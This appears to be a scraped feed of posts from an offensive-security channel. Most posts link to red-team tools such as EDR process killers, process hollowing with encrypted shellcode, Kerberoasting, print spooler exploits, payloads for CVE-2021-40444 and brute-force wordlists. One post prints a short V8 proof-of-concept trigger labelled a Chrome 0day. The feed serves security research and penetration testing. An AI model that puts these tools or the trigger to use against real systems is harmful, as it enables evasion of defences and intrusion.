Backstab — Kill EDR Protected Processes

Tool capable of killing antimalware protected processes by leveraging sysinternals’ Process Explorer (ProcExp) driver, which is signed by Microsoft.

https://github.com/Yaxser/Backstab

#edr #bypass #kill #process #unload

AsINT Collection

https://start.iss.one/p/b5Aow7/asint_collection

#OSINT #Recon

RCE on a backend IIS server via file upload with an atypical file extension.

More community curated payloads can be found at https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP

https://twitter.com/buffaloverflow/status/1435596990650503168?s=21

#0day #office

🔥OWASP Top 10 2021 DRAFT is out 🔥

Now available for peer review, comment, translation, and suggestions for improvements:

owasp.org/Top10/

#OWASPTop10

NimHollow

Nim implementation of Process Hollowing using encrypted shellcodes and direct syscalls (NimlineWhispers by @ajpc500 is rocking 🔥). Some slides for better understanding of the technique are inside!

https://github.com/snovvcrash/NimHollow

#nim #edr #bypass #syscall

CVE-2021-40444

https://pastebin.com/4e9LgNPe

#office #payload

CVE-2021-40444 — Analysis

https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/

#office #CVE_2021_40444 #exploit

Active Directory Pentest Mindmap

# https://github.com/Orange-Cyberdefense/arsenal/raw/master/mindmap/pentest_ad.png

# https://www.xmind.net/m/5dypm8/

UPD (12.11.2021):
https://raw.githubusercontent.com/Orange-Cyberdefense/arsenal/master/mindmap/pentest_ad.png

UPD (10.11.2022):
https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg

#mindmap #ad #pentest

Karma v2

Passive Open Source Intelligence Automated Reconnaissance Framework

https://github.com/Dheerajmadhukar/karma_v2

#osint #recon

targetedKerberoast

Kerberoast with ACL abuse capabilities

https://github.com/ShutdownRepo/targetedKerberoast

#kerberoasting #ad #spn

SpoolSploit

SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation. A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicious DLLs on endpoints with full system access.

https://github.com/BeetleChunks/SpoolSploit

#ad #spooler #rpc

CVE-2021-30632 — Chrome 0day

var a;
function foo() {
    a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a["xxx"] =1;
delete a["xxx"];
%OptimizeFunctionOnNextCall(foo);
foo();

#Chrome #0day #PoC

Brute Force Wordlist

Some files for bruteforcing certain things.

https://github.com/random-robbie/bruteforce-lists

#wordlist #bruteforce

5 RCEs in npm for $15,000
robertchen.cc/blog